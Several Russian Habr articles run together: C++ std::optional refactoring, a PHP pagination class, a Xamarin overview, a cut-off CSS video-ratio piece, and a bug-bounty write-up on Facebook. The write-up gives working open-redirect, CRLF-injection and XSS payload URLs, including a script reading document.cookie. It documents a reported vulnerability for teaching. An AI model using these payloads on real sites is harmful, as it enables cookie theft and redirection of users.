Я думаю, что легко забыть порядок выходных переменных в кортеже. На эту тему есть статья на SimplifyC++: [`Попахивающие std::pair` и `std::tuple` (англ. язык)](https://arne-mertz.de/2017/03/smelly-pair-tuple/). Более того, до сих пор остаётся проблема расширения функции в будущем. Поэтому, когда вы захотите добавить ещё одно выходное значение, вам надо будет расширять кортеж и на вызывающей стороне. Поэтому я предлагаю следующий шаг: структура (это же предлагается в Core Guidelines). Отдельная структура ------------------- Выходные результаты представляют собой связанные данные. Поэтому, похоже, хорошая идея обернуть их в структуру с именем `SelectionData`: ``` struct SelectionData { bool anyCivilUnits { false }; bool anyCombatUnits { false }; int numAnimating { 0 }; }; ``` После этого мы можем переписать нашу функцию следующим образом: ``` std::pair CheckSelectionVer3(const ObjSelection &objList) { SelectionData out; if (!objList.IsValid()) return {false, out}; // scan... return {true, out}; } ``` И на вызывающей стороне: ``` if (auto [ok, selData] = CheckSelectionVer3(sel); ok) { // ... } ``` Я использовал `std::pair`, поэтому мы всё ещё сохраняем флаг успешной отработки функции, он не становится частью новой структуры. Основное преимущество в том, что мы получили здесь логическую структуру и расширяемость. Если вы хотите добавить новый параметр, просто расширьте структуру. Но `std::pair` ведь очень похожа на `std::optional`, не так ли? `std::optional` --------------- Ниже описание типа [`std::optional` с CppReference](http://en.cppreference.com/w/cpp/utility/optional): > Шаблонный класс `std::optional` управляет опциональным значением, т. е. значением, которое может быть представлено, а может и не быть. > > Обычным примером использования опционального типа данных является возвращаемое значение функции, которая может вернуть ошибочный результат в процессе выполнения. В отличии от других подходов, таких как `std::pair`, опциональный тип данных хорошо управляется с тяжёлыми для конструирования объектами и является более читабельным, поскольку явно выражает намерения разработчика. Это, кажется, идеальный выбор для нашего кода. Мы можем убрать `ok` из нашего кода и полагаться на семантику опционального типа. Для справки, `std::optional` был добавлен в C++17, но до C++17 вы могли бы использовать `boost::optional`, так как они практически идентичны. Новая версия нашего кода выглядит так: ``` std::optional CheckSelection(const ObjSelection &objList) { if (!objList.IsValid()) return { }; SelectionData out; // scan... return {out}; } ``` и на вызывающей стороне: ``` if (auto ret = CheckSelection(sel); ret.has_value()) { // access via *ret or even ret-> // ret->numAnimating } ``` У версии с опциональным типом данных следующие преимущества: * Чистая и выразительная форма. * Эффективность: реализация опционального типа не разрешает использовать дополнительную память (например, динамическую) для хранения значения. Значение должно храниться в той области памяти, которая была выделена опциональным типом для шаблонного параметра `T`. * Нет надо беспокоиться насчёт лишних выделений памяти. Мне кажется, что версия с использованием опционального типа является лучшей в рассмотренном примере. Код --- Вы можете поиграть с кодом по этой [ссылке](https://tech.io/playground-widget/85cf8cbfb026d494ea01678ab4b862ba0385/c-tests-2/275561/std%3A%3Aoptional%20refactor%20). Итог ---- В этой статье вы увидели как можно отрефакторить много плохо пахнущего кода с выходными параметрами с использованием опционального типа. Обёртка над данными в виде опционального типа ясно даёт понять, что вычисляемое значение может и не существовать. Так же я показал как обернуть несколько параметров функции в отдельную структуру. Вы можете легко расширять свой код с использованием отдельных типов данных, одновременно сохраняя логическую структуру кода. С другой стороны, эта новыя реализация опускает важный аспект кода: обработка ошибок. На текущий момент вы не сможете узнать, по какой причине функция не смогла вычислить значение. В предыдущем примере, при реализации с `std::pair`, мы могли бы возвращать какой-либо код ошибки для указания причины. Вот что я нашёл в [документации boost (англ. язык)](https://www.boost.org/doc/libs/1_63_0/libs/optional/doc/html/boost_optional/tutorial/when_to_use_optional.html): > Опциональный тип данных `std::optional` рекомендуется использовать в тех случаях, когда есть всего лишь одна причина, почему мы не смогли получить объект типа `T` и где отсутствие значения `T` так же нормально, как и его наличие. Другими словами, версия `std::optional` выглядит отлично только в том случае, если мы принимаем ситуацию "некорректного выделения" за обычную рабочую ситуацию в приложении… это хорошая тема для следующей статьи :) Мне интересно, что вы думаете о тех местах, где было бы здорово использовать `std::optional`. Как бы вы отрефакторили первую версию кода? Вы бы возвращали кортежи или создавали бы из них структуры? Смотрите следующую статью: [`Использование std::optional`](https://www.bfilipek.com/2018/05/using-optional.html). Ниже вы можете увидеть некоторые статьи, которые помогли мне с этим постом: * [Эффективные опциональные значения (англ. язык)](https://akrzemi1.wordpress.com/2015/07/15/efficient-optional-values/) * [Ссылочные спецификаторы (англ. язык)](https://akrzemi1.wordpress.com/2014/06/02/ref-qualifiers/) * [`Беглый C++: Упрощение интерфейсов с использованием std::optional`](https://www.fluentcpp.com/2016/11/24/clearer-interfaces-with-optionalt/)
https://habr.com/ru/post/369811/
null
ru
null
# Постраничная навигация на PHP Часто при разработке и выводе контента появляется необходимость использования постраничной навигации. Кто-то скорее всего использует готовые решения от своего фреймворка. Кто-то, возможно, не заморачивается и лупит страницы просто циклом. У кого-то есть свои наработки в этом направлении. Вот я как раз и хочу поделиться своим решением данной задачи. Существует множество вариаций расположения и отображения кнопок, лично я пришел к следующему решению, которое по моему мнению наиболее наглядно и удобно. Подходит как для 5 страниц так и для 5000. Пример HTML кода ---------------- Не буду ходить вокруг да около, сразу приложу пример сформированного скриптом html кода: ``` [Назад](/playlist/1.html?page=6) [1](/playlist/1.html) *...* [4](/playlist/1.html?page=4) [5](/playlist/1.html?page=5) [6](/playlist/1.html?page=6) 7 [8](/playlist/1.html?page=8) [9](/playlist/1.html?page=9) [10](/playlist/1.html?page=10) *...* [17](/playlist/1.html?page=17) [Вперед](/playlist/1.html?page=8) ``` Логика построения ----------------- По настройкам параметров я остановлюсь чуть позже после приведения кода, сейчас опишу логику формирования самих номеров. С кнопками «Назад» и «Вперед» думаю все понятно, к тому же их можно просто отключить, поэтому на них не буду заострять внимания. Первый и последний номер страницы отображается всегда, своего рода кнопки «В начало» и «В конец». Середина формируется уже по простому алгоритму. Отображается просматриваемая страница и по N страниц по бокам. На примере отображается по N=3 страницы. В принципе все просто и понятно, но особая хитрость используется при приближении к краям. Опишу на примерах: **Страница 1-3** (где 3 = N) > 1 2 3 4 5 6… 17 Отображаются первые N\*2 страниц и последняя. **Страница 4** > 1 2 3 **4** 5 6 7… 17 Отображается первая и дальше сформированная строка от 4-3=1 до 4+3=7. Первая страница зарезервирована поэтому формируются номера от 2 до 7. **Страница 5** > 1 2 3 4 **5** 6 7 8… 17 от 5-3=2 до 5+3=8. **Страница 6** > 1 2 3 4 5 **6** 7 8 9… 17 Пожалуй во всех навигациях что я видел (включая хабр) строка была бы сформирована с пропуском, т.е. 1… 3 4 5 6 7 8 9… 17 Но ведь это не логично, отображать многоточие вместо одного числа. При построении второго многоточия выполняется аналогичная проверка. **Страница 7** > 1… 4 5 6 **7** 8 9 10… 17 Середина уже стандартна. Формирование окончания аналогично началу **Страница 12** > 1… 9 10 11 **12** 13 14 15 16 17 **Страница 13** > 1… 10 11 12 **13** 14 15 16 17 **Страница 14** > 1… 11 12 13 **14** 15 16 17 **Страница 15-17** > 1… 12 13 14 15 16 17 #### Редиректы Помимо этого из особенностей хочу выделить еще 2 момента, это проверка существования страницы и редирект на «правильный» адрес. Т.е. к примеру, тут же на хабре первая страница может быть доступна сразу по 2м адресам: [habrahabr.ru/sandbox/page1](https://habrahabr.ru/sandbox/page1/) [habrahabr.ru/sandbox](https://habrahabr.ru/sandbox/) Скрипт не дает зайти на адрес page/1/ и выполняет редирект на «чистый» адрес Так же если указан слишком большой номер страницы будет выполнен редирект на последнюю существующую. К примеру были удалены материалы или изменено количество записей на страницу. Не могу правда однозначно сказать полезно ли это будет с точки зрения СЕО, но для пользователей мне кажется так будет удобнее. PHP код и его использование --------------------------- **PHP код** ``` class PaginateNavigationBuilder { /** * Чистый URL по умолчанию * В адресе может быть указано место для размещения блока с номером страницы, тег {page} * Пример: * /some_url{page}.html * В итоге адрес будет: * /some_url.html * /some_url/page_2.html * Если тег {page} не указан, то страницы будут дописываться в конец адреса * * @var string */ private $baseUrl = '/'; /** * Шаблон ссылки навигации * * @var string */ public $tpl = 'page/{page}/'; /** * Обертка кнопок * * @var string */ public $wrap = "{pages}"; /** * Сколько показывать кнопок страниц до и после актуальной * Пример: * $spread = 2 * Всего 9 страниц навигации и сейчас просматривают 5ю * 1 ... 3 4 5 6 7 ... 9 * * @var integer */ public $spread = 5; /** * Разрыв между номерами страниц * * @var string */ public $separator = "*...*"; /** * Имя класса активной страницы * * @var string */ public $activeClass = 'link_active'; /** * Номер просматриваемой страницы * * @var integer */ private $currentPage = 0; /** * Показывать кнопки "Вперед" и "Назад" * * @var bool */ public $nextPrev = true; /** * Текст кнопки "Назад" * * @var string */ public $prevTitle = 'Назад'; /** * Текст кнопки "Вперед" * * @var string */ public $nextTitle = 'Вперед'; /** * Инициализация класса * * @param string $baseUrl URL в конец которого будет добавляться навигация */ public function __construct($baseUrl = '/') { $this->baseUrl = $baseUrl; } /** * Строим навигации и формируем шаблон * * @param integer $limit количество записей на 1 страницу * @param integer $count_all общее количество всех записей * @param integer $currentPage номер просматриваемой страницы * @return mixed Сформированный шаблон навигации готовый к выводу */ public function build($limit, $count_all, $currentPage = 1) { if( $limit < 1 OR $count_all <= $limit ) return; $count_pages = ceil( $count_all / $limit ); if( $currentPage > $count_pages ) { header( "HTTP/1.0 301 Moved Permanently" ); header( "Location: " . $this->getUrl( $count_pages ) ); die( "Redirect" ); } if( $currentPage == 1 AND $_SERVER['REQUEST_URI'] != $this->getUrl( $currentPage ) ) { header( "HTTP/1.0 301 Moved Permanently" ); header( "Location: " . $this->getUrl( $currentPage ) ); die( "Redirect" ); } $this->currentPage = intval( $currentPage ); if( $this->currentPage < 1 ) $this->currentPage = 1; $shift_start = max( $this->currentPage - $this->spread, 2 ); $shift_end = min( $this->currentPage + $this->spread, $count_pages-1 ); if( $shift_end < $this->spread*2 ) { $shift_end = min( $this->spread*2, $count_pages-1 ); } if( $shift_end == $count_pages - 1 AND $shift_start > 3 ) { $shift_start = max( 3, min( $count_pages - $this->spread*2 + 1, $shift_start ) ); } $list = $this->getItem( 1 ); if ($shift_start == 3) { $list .= $this->getItem( 2 ); } elseif ( $shift_start > 3 ) { $list .= $this->separator; } for( $i = $shift_start; $i <= $shift_end; $i++ ) { $list .= $this->getItem( $i ); } $last_page = $count_pages - 1; if( $shift_end == $last_page-1 ){ $list .= $this->getItem( $last_page ); } elseif( $shift_end < $last_page ) { $list .= $this->separator; } $list .= $this->getItem( $count_pages ); if( $this->nextPrev ) { $list = $this->getItem( $this->currentPage > 1 ? $this->currentPage - 1 : 1, $this->prevTitle, true ) . $list . $this->getItem( $this->currentPage < $count_pages ? $this->currentPage + 1 : $count_pages, $this->nextTitle, true ); } return str_replace( "{pages}", $list, $this->wrap ); } /** * Формирование адреса * @param int $page_num номер страницы * @return string сформированный адрес */ private function getUrl( $page_num = 0 ) { $page = $page_num > 1 ? str_replace( '{page}', $page_num, $this->tpl ) : ''; if( stripos( $this->baseUrl, '{page}' ) !== false ){ return str_replace( '{page}', $page, $this->baseUrl ); } else { return $this->baseUrl . $page; } } /** * Формирование кнопки/ссылки * @param int $page_num номер страницы * @param string $page_name если указано, будет выводиться текст вместо номера страницы * @param bool $noclass * @return - span блок с активной страницей или ссылку. */ private function getItem( $page_num, $page_name = '', $noclass = false ) { $page_name = $page_name ?: $page_num; $className = $noclass ? '' : $this->activeClass; if( $this->currentPage == $page_num ) { return "{$page\_name}"; } else { return "[getUrl($page\_num)}\">{$page\_name}](\"{$this-)"; } } } ``` Для наглядности, приведу пример построения навигации песочницы: [habrahabr.ru/sandbox/page12](https://habrahabr.ru/sandbox/page12/) ``` $navi = new PaginateNavigationBuilder( "/sandbox/" ); $navi->tpl = "page{page}/"; $navi->spread = 4; $template = $navi->build( $limit, $count_all, $page_num ); ``` Или же если номер страницы прописан внутри URL: [example.com/some\_url/1.html](http://example.com/some_url/1.html) — первая страница [example.com/some\_url/1-page2.html](http://example.com/some_url/1-page2.html) — вторая страница ``` $navi = new PaginateNavigationBuilder( "/some_url/1{page}.html" ); $navi->tpl = "-page{page}"; $template = $navi->build( $limit, $count_all, $page_num ); ``` где **$limit** — количество записей на страницу **$count\_all** — общее количество записей **$page\_num** — номер страницы на которой находится пользователь На этом, пожалуй, всё. Буду рад любой конструктивной критике. PS. Огромное спасибо всем отписавшимся, особенно тем кто ругает (и правильно делает). Обещаю со всем ознакомиться, принять во внимание и исправиться.
https://habr.com/ru/post/340246/
null
ru
null
# Достоинства и недостатки Xamarin Привет, Хабр! Сегодня расскажем вам о том, что пользователям нравится в Xamarin, нашем инструменте для кросс-платформенной разработки мобильных приложений. Кроме того, затронем и недостатки платформы. Кстати, под катом вы найдете много кода и показательные примеры, а не только текст с перечислением. Присоединяйтесь! ![](https://habrastorage.org/r/w780q1/webt/rl/-v/x4/rl-vx4huqqsn_y28r3kbtw5ynew.jpeg) *Статья подготовлена нашими партнерами, ребятами из EGO.* [Xamarin](https://www.xamarin.com/) — удобный набор инструментов для разработки кросс-платформенных мобильных приложений на C# с использованием .NET. Он поддерживает iOS, Android и Windows Phone. Для разработки приложения на основе Xamarin вам не потребуется досконально знать специфические языки отдельных платформ. Кроме того, при работе с какой-либо платформой у вас будет полный доступ к возможностям ее пакета SDK и встроенным механизмам создания пользовательских интерфейсов. Таким образом, Xamarin позволяет создавать приложения, которые почти не отличаются от нативных аналогов, а значит, вполне подходят для распространения через официальные магазины (например, Google Play и App Store). Кроме того, по словам разработчиков Xamarin, готовое решение не будет существенно уступать и в плане производительности. Рассмотрим составные части Xamarin. * Xamarin.IOS — библиотека классов C#, предоставляющая разработчикам доступ к пакету SDK для iOS. * Xamarin.Android — библиотека классов C#, предоставляющая разработчикам доступ к пакету SDK для Android. * Компилятор C#. * .NET Framework. * Инструменты IDE (встроены в Visual Studio для Mac OS и Windows). В этой статье подробно описаны семь существенных причин использовать Xamarin для кросс-платформенной разработки. ![](https://habrastorage.org/r/w1560/webt/rg/3r/iy/rg3riyjywwsv5grixz8e2gqnx-c.png) *Дополнительные материалы: [сравнение Xamarin и PhoneGap](https://ego-cms.com/xamarin-vs-phonegap/).* 1. Простота освоения -------------------- На что в первую очередь следует обращать внимание при выборе платформы? Конечно, на сложность ее освоения. Вряд ли найдется много желающих тратить время на освоение особенностей синтаксиса (например, для достаточно уверенного владения Angular требуется изучать эту платформу как минимум несколько месяцев). Поэтому если создание качественного кода требует чрезвычайно серьезной подготовки, то многим новичкам попросту не удается в полной мере овладеть средой разработки. А вот начать работу с Xamarin совсем просто: вам не придется учить язык Xamarin или что-нибудь в таком духе. ``` using Xamarin.Forms; RootPage.Children.Add(new ContentPage { Content = new Label { Text = "Sketches in Forms", BackgroundColor = Color.Yellow, TextColor = Color.Blue, Font = Font.SystemFontOfSize(NamedSize.Large), VerticalOptions = LayoutOptions.CenterAndExpand, HorizontalOptions = LayoutOptions.CenterAndExpand, } }); ``` Достаточно знать язык C# с его императивным стилем написания программ, свободно чувствовать себя в среде .NET и изучить несколько классов, связанных с конкретными платформами. ``` using System.Diagnostics; using Foundation; using UIKit; namespace NeonPlayerConcept.iOS { [Register("AppDelegate")] public class AppDelegate : UIApplicationDelegate { public override UIWindow Window { get; set; } public static void Main(string[] args) { UIApplication.Main(args, null, "AppDelegate"); } } } ``` [Источник](https://github.com/ego-cms/NeonPlayerConcept.Xamarin/blob/master/NeonPlayerConcept/AppDelegate.cs). Для создания полностью «родного» приложения для той или иной платформы вам потребуется в достаточной мере владеть языком Java (в случае Android) или Objective-C/Swift (для iOS). В некоторых случаях это может стать серьезным препятствием. Давайте посмотрим, как одна и та же задача, подразумевающая создание строки атрибутов, решается в Objective-C и в C#. В Objective-C: ``` CFStringRef stringKeys[] * { kCTFontAttributeName, kCTForegroundColorAttributeName }; CFTypeRef stringValues[] * { myListFontRef, COColorGetConstantColor(kCOColorWhite) }; attr = CFDictionaryCreate (kCGAllocatorDefault, (const void **) &stringKeys, (const void **) &stringValues, sizeof(stringKeys) / sizeof(stringKeys[0]), &kCFTypeDictionaryKeyCallbacks, &kCFTypeDictionaryValueCallbacks); astr = CFAttributedStringCreate(kCFAllocatorDefault, CFSTR(“Hello from ego team!”), attr); ``` В C#: ``` var stringAttributes = new CFStringAttributes { Font = myFont, ForegroundColor = UIColor.White.CGColor }; var myString = new NSAttributedString (“Hello from EGO team!”, attrs); ``` Если вы не используете возможности кросс-платформенной разработки Xamarin, то для создания коммерческого проекта, который обладал бы достаточной производительностью на обеих платформах, может потребоваться применять сразу два разных подхода. А значит, и затраты практически удваиваются. 2. Снижение расходов на проект ------------------------------ Исходя из описанных выше преимуществ можно отметить, что кросс-платформенная разработка с использованием Xamarin требует примерно в 1,5 раза меньше времени (и денег), чем создание отдельного специализированного проекта под каждую платформу. Конечно, некоторые фрагменты кода (например, служебные компоненты) будут одинаковыми в обеих версиях, а часть других (в частности, бизнес-логика, не использующая специализированные функции пользовательского устройства) потребует лишь незначительных изменений. Однако общая ситуация немного сложнее. Некоторые компоненты вашего приложения неизбежно придется писать с нуля для каждой ОС. При создании и развертывании двух приложений для двух платформ практически всегда необходимо нанимать две команды разработчиков. При использовании Xamarin все гораздо проще: *благодаря не зависящим от платформы интерфейсам API примерно [70% кода](https://www.iflexion.com/blog/pros-cons-mobile-development-xamarin/) будет написано в универсальном формате.* В этом примере класс MainPage использует интерфейс ITextToSpeech для выбора нужной функции на конкретной платформе: ``` ITextToSpeech.cs: public interface ITextToSpeech { void Speak (string text); } TextToSpeech_Android.cs: [assembly: Dependency (typeof (TextToSpeech_Android))] namespace UsingDependencyService.Android { public class TextToSpeech_Android : Java.Lang.Object, ITextToSpeech { TextToSpeech speaker; string toSpeak; public TextToSpeech_Android () {} public void Speak (string text) { \\Android-specific code } } } TextToSpeech_iOS.cs: [assembly: Dependency (typeof (TextToSpeech_iOS))] namespace UsingDependencyService.iOS { public class TextToSpeech_iOS : ITextToSpeech { TextToSpeech speaker; string toSpeak; public TextToSpeech_Android () {} public void Speak (string text) { … \\iOS-specific code } } } MainPage.cs: public class MainPage : ContentPage { public MainPage [] { var speak = new Button { Text = “Hello, world!”, VerticalOptions = LayoutOptions.CenterAndExpand, HorizontalOptions = LayoutOptions.CenterAndExpand, }; speak.Clicked += (sender, e) => { DependencyService.Get().Speak("Hello from Xamarin Forms"); }; Content = speak; } } ``` 3. Возможность создавать пользовательские интерфейсы, подобные «родным» ----------------------------------------------------------------------- Одна из основных причин, по которым разработчики избегают инструментов кросс-платформенной разработки, заключается в том, что такие средства не позволяют пользоваться всем спектром возможностей конкретных сред. В первую очередь это относится к дизайну (Flat Design в iOS, Material Design в Android) и к интеллектуальным возможностям пользовательских устройств (доступ приложения к контактам, камере, данным GPS и т. п.). Конечное кросс-платформенное решение не будет обладать высокой производительностью (этот недостаток присущ практически всем приложениям, созданным с помощью кросс-платформенных веб-инструментов) и не сможет пользоваться преимуществами конкретных платформ (а это значит, что некоторые возможности, изначально запланированные создателем проекта, могут быть реализованы не полностью). Однако все иначе при использовании инструментов Xamarin для кросс-платформенной разработки «родных» приложений. В этом случае вы не столкнетесь с вышеописанными проблемами. Разработчикам доступны не только стандартные классы .NET: они могут с легкостью подключить и классы, поддерживаемые конкретной мобильной платформой (они содержатся в библиотеках C# для Xamarin.Android и Xamarin.iOS соответственно). Это значит, что при использовании Xamarin для разработки приложений под iOS и Android в вашем распоряжении будет весь набор возможностей этих платформ. При этом не потребуется использовать сторонние (и обычно платные) инструменты. 4. Оптимальные условия для тестирования --------------------------------------- Тестирование продукта, который готовится к выпуску, — задача нетривиальная, особенно когда речь идет о платформе Android. Форматы экранов пользовательских устройств iOS четко определены и известны заранее, а вот устройства Android бывают самыми разными. Если приложение не было протестировано на определенном устройстве, его интерфейс в некоторых случаях может «разъехаться». Создатели Xamarin предложили решение для этой проблемы. В частности, для пользователей платформы также доступна среда [Test Cloud](https://www.xamarin.com/test-cloud), позволяющая эмулировать более 2000 устройств. Это решение не бесплатно, но затраты на него будут оправданы. ![](https://habrastorage.org/r/w1560/webt/ti/pa/sh/tipashnwvvcmuwwr5zglcdnwpfw.png) Дополнительные материалы: [девять лучших инструментов тестирования мобильных приложений для iOS и Android](https://ego-cms.com/top-mobile-app-testing-tools-ios-android/). 5. Идеальная совместимость с устройствами «Интернета вещей» ----------------------------------------------------------- Если вы хотите, чтобы ваше приложение получало данные о местоположении пользователя, показания гироскопа, акселерометра или других встроенных датчиков, то Xamarin станет отличным выбором. ``` private void Instance_Ranged(object sender, System.Collections.Generic.IEnumerable e) { Try { var data = string.Empty; foreach (var beacon in e) { data = $@”region id: {beacon} } \_labelContent.Text = data; LogStatus(@”Ranged”); } catch (Exception exception) { LogStatus(exception.ToString()); } } ``` Эта среда разработки полностью совместима с устройствами IoT (например, с [Estimote](https://estimote.com/)), позволяющими получать данные о местоположении, а значит, вам не придется настраивать интеграцию со сторонними решениями (тем более что такой возможности не будет в принципе). 6. Качественная документация и большое сообщество ------------------------------------------------- Для Xamarin доступна отлично организованная [документация](https://developer.xamarin.com/) с практическими примерами, фрагментами кода и пошаговыми инструкциями. Разумеется, на некоторые вопросы найти ответ в ней не получится. В этом случае вам поможет онлайн-сообщество. Существует два официальных сообщества Xamarin: на официальном сайте платформы и на портале StackOverflow. Если и здесь вам не удалось получить интересующую информацию (некоторые разработчики жалуются, что эксперты сообществ не очень активны), вы можете обратиться в частную службу технической поддержки, доступную для обладателей бизнес-лицензий Xamarin. Специалисты ответят вам уже через несколько часов и предложат не просто набор стандартных процедур, которые редко помогают полностью устранить проблему, а подробные пошаговые инструкции по решению именно вашей задачи. 7. Безупречная интеграция с Microsoft Windows --------------------------------------------- Практически в каждой ИТ-компании есть развитая инфраструктура используемого ПО на платформе Windows. Для всех редакций Visual Studio (для Mac OS и Windows) с весны 2016 года в рамках подписки предоставляется и Xamarin. Если вы уже используете Visual Studio для разработки, вносить дополнительную оплату не потребуется. Недостатки Xamarin ------------------ Мы постарались подробно рассказать о сильных сторонах Xamarin и рассмотрели ряд его очевидных преимуществ. Однако нам бы хотелось сделать этот обзор более объективным, так что обратимся к слабым сторонам решения. На самом деле внимания заслуживает лишь один недостаток: размер приложений, написанных с помощью Xamarin, обычно немного превышает объем нативных аналогов. Тем не менее оптимизация никогда не бывает лишней. Итак, насколько эффективен Xamarin? ----------------------------------- Xamarin обладает рядом преимуществ и отлично подходит для масштабных проектов по разработке сложных с точки зрения архитектуры кросс-платформенных приложений, аналогичных нативным решениям.
https://habr.com/ru/post/415833/
null
ru
null
# Будни багхантинга: еще одна уязвимость в Facebook [![](https://habrastorage.org/r/w1560/files/03b/b1a/1a5/03bb1a1a52814b34b678155274d56aa3.png)](http://habrahabr.ru/company/pt/blog/247709/) Декабрь для меня получился наиболее удачным за четыре года участия в разнообразных программах bug bounty, и я хотел бы поделиться информацией об одной из обнаруженных уязвимостей. Речь пойдет о небезопасной обработке [Request-URI](https://tools.ietf.org/html/rfc2616#section-5.1.2) ([Request Target](http://tools.ietf.org/html/rfc7230#section-5.3)). На этот раз красивой комбинацией уязвимостей порадовал Facebook. Разработчики привыкли не доверять данным, полученным от пользователя через параметры GET / POST / Cookie, но зачастую игнорируют тот факт, что опасные данные могут содержаться и в других частях HTTP-запроса, например, в пути к сценарию или path\_info. Для автоматизации обнаружения таких проблем был написан небольшой плагин для Burp Suite, который прослушивает все запросы Burp Proxy и, если URL находится в определенном скоупе, повторяет оригинальный запрос, изменяя только Request-URI. То есть, для запроса: > > ``` > GET /foo/bar.baz?param=value HTTP/1.1 > ``` > Будут отправлены такие повторы: > > ``` > GET /3fb5e7a4f814d790'"<>/%2e%2e/foo/bar.baz?param=value HTTP/1.1 > GET /foo/3fb5e7a4f814d790'"<>/%2e%2e/bar.baz?param=value HTTP/1.1 > GET /foo/bar.baz/3fb5e7a4f814d790'"<>/%2e%2e/?param=value HTTP/1.1 > GET /foo/bar.baz/3fb5e7a4f814d790'"<>?param=value HTTP/1.1 > ``` > В случае, если в HTTP-ответе присутствует случайная строка из запроса или текст какой-либо ошибки, то запрос складывается в лог, который потом разбирается вручную. В качестве списка ошибок можно использовать слегка измененный список из [fuzzdb](https://code.google.com/p/fuzzdb/source/browse/trunk/regex/errors.txt). Выглядит это все примерно так: ![](https://habrastorage.org/r/w1560/files/b70/e40/1ed/b70e401ed680448a9775511ccb5aa121.png) Как и многие другие интересные и неожиданные уязвимости, проблемы на сайте Facebook я обнаружил случайно. Когда я участвовал в программах bug bounty от Яндекса и Mail.ru, на одной из посещенных страниц оказался запрос к сценарию `www.facebook.com/tr` (сценарий, относящийся к [рекламе для веб-сайтов](https://developers.facebook.com/docs/ads-for-websites/drive-conversions/)). Данный запрос был успешно проверен плагином и в лог попала запись о выводе Request-URI в HTTP-ответ. > > ``` > GET /test/%2e%2e/tr HTTP/1.1 > Host: www.facebook.com > > HTTP/1.1 301 Moved Permanently > Location: /test/../tr/ > ``` > В первую очередь при таком ответе необходимо обратить внимание на следующие моменты: 1) Request-URI стоит в начале ссылки для перенаправления, значит необходимо проверить Open Redirect через URL без указания http-схемы (например, `Location: //evil.com/../tr`). 2) Путь не был нормализован, но точки в ответе прошли URL-декодирование, значит тут может быть CRLF Injection за счет декодирования символов `%0d%0a`. Проверяем следующие запросы: > > ``` > GET //////www.google.com/%2e%2e/tr HTTP/1.1 > Host: www.facebook.com > > HTTP/1.1 301 Moved Permanently > Location: /www.google.com/../tr/ > ``` > Facebook успешно урезает начальные «/» до одного, но так как мы имеем URL-декодирование, это легко обходится следующим образом (многие веб-серверы крайне недолюбливают использование URL-кодированных «/» в пути, но в этот раз повезло): > > ``` > GET /%2fwww.google.com/%2e%2e/tr HTTP/1.1 > Host: www.facebook.com > > HTTP/1.1 301 Moved Permanently > Location: //www.google.com/../tr/ > ``` > Для того чтобы браузер не нормализовал путь и не вырезал добавленную конструкцию при отправлении запроса, необходимо закодировать также и остальные «/». В итоге получен первый вариант эксплуатации обнаруженной уязвимости. Open Redirect: `www.facebook.com/%2fwww.google.com%2f%2e%2e/tr` Проверяем предположение о наличии CRLF Injection / HTTP Response Splitting и очень удивляемся, что на Facebook, измученном тысячами багхантеров, можно встретить и такое. > > ``` > GET /%0aSet-Cookie:xxx=xxx%0aX:/%2e%2e/tr HTTP/1.1 > Host: www.facebook.com > > HTTP/1.1 301 Moved Permanently > Location: / > Set-Cookie: xxx=xxx > X: /../tr/ > ``` > CRLF Injection: `www.facebook.com/%0aSet-Cookie:xxx=xxx%0aX:%2f%2e%2e/tr` На этом моменте я уже хотел писать отчет в Facebook, но мысль о получении заветного alert('XSS') не давала покоя. Основная проблема была в том, что несмотря на возможность переписать тело HTTP-ответа через CRLF Injection браузер не отобразит его из-за того, что инъекция в ответе c кодом 301 и корректным заголовком Location. С похожей проблемой столкнулся автор статьи об [XSS на Хабрахабре](http://habrahabr.ru/post/197672/). Конечно, эта CRLF Injection не бесполезная и ее можно попробовать использовать в комбинации с другими уязвимостями типа Session Fixation или для обхода каких-либо проверок cookie-значений… Но неожиданно я вспомнил, что уже задавался подобным вопросом два года назад и даже получил кое-какие результаты. В некоторых случаях возможно заблокировать перенаправление и отобразить тело ответа, испортив значение заголовка Location. | | | | --- | --- | | Opera <= 12 | URL-схемы: `data, javascript, file, about` Длинный host: `aaa[..256..]aaa/` Некорректный порт: `test:0/` Некорректные символы: `http://*/` Пустой заголовок | | FireFox | URL-схемы, требующие стороннего приложения: `resource, mailto, callto, …` Некоторые порты: `test:X/ (X - 1,7,9,11,13,15,17,19,20,21,22,23,25,…)` | | Chrome | Пустой заголовок | Как можно заметить, все найденные методы основаны на контроле начала URL для перенаправления. То есть если бы заголовок Location начинался с абсолютной ссылки `www.facebook.com`, это бы полностью убило возможность поэксплуатировать XSS. Объединим все полученные идеи. За счет Open Redirect, описанного в начале, можно указать некорректный порт в ссылке без указания http-схемы. Это заблокирует перенаправление и Firefox отобразит тело HTTP-ответа, которое, в свою очередь, можно подменить через CRLF Injection. Также необходимо отключить X-XSS-Protection и установить правильные значения Content-Type и Content-Length. И финальный эксплоит: `www.facebook.com/%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr` ![](https://habrastorage.org/r/w1560/files/f88/67e/0a2/f8867e0a21bf45cb82a1de372a4fc4ae.png) ![](https://habrastorage.org/r/w1560/files/28a/3a0/b43/28a3a0b435554df68061ed76aec4ec38.png) Информация по схожим темам: * [Атаки на веб-приложения через Request-URI, Хакер #171](https://xakep.ru/issue/xa-171/) * [Evolution of Open Redirect Vulnerability](http://homakov.blogspot.ru/2014/01/evolution-of-open-redirect-vulnerability.html) * [Some cases of insecure NGINX configurations](http://blog.volema.com/nginx-insecurities.html)
https://habr.com/ru/post/247709/
null
ru
null
# Сохранение исходных пропорций видео ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c0e/68e/5f5/c0e68e5f5520687e859dd5ea3e537977.jpg) Вы когда-нибудь хотели изменять размеры видео *на лету*, масштабировать его как изображение? Используя внутренние пропорции для видео, можно. Эта техника позволяет броузерам устанавливать размеры видео, основываясь на ширине родительского блока. С внутренними пропорциями, новая ширина вызывает новое вычисление высоты, что позволяет изменять размеры видео и дает возможность для масштабирования его, так же, как изображения. [Пример 1](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example1.html). Концепция --------- Идея состоит в том, чтобы создать блок с соответствующими пропорциями (4:3, 16:9, и т.д.), а затем поместить видео в этот блок, растянув его до размеров блока. Это очень просто. Значение `padding` — волшебство, которое создает *внутренние пропорции*. Потому, что мы устанавливаем отступы в *процентах*, основываясь на **ширине** родительского блока. CSS правила, приведенные ниже, иллюстрируют как стили родителей и детей создают «волшебную обертку» — контейнер, который пропорционально изменяет свои размеры в зависимости от ширины своих родителей. [Пример 2](http://www.alistapart.com/d/creating-intrinsic-ratios-for-video/example2.html). > `.wrapper-with-intrinsic-ratio { > >     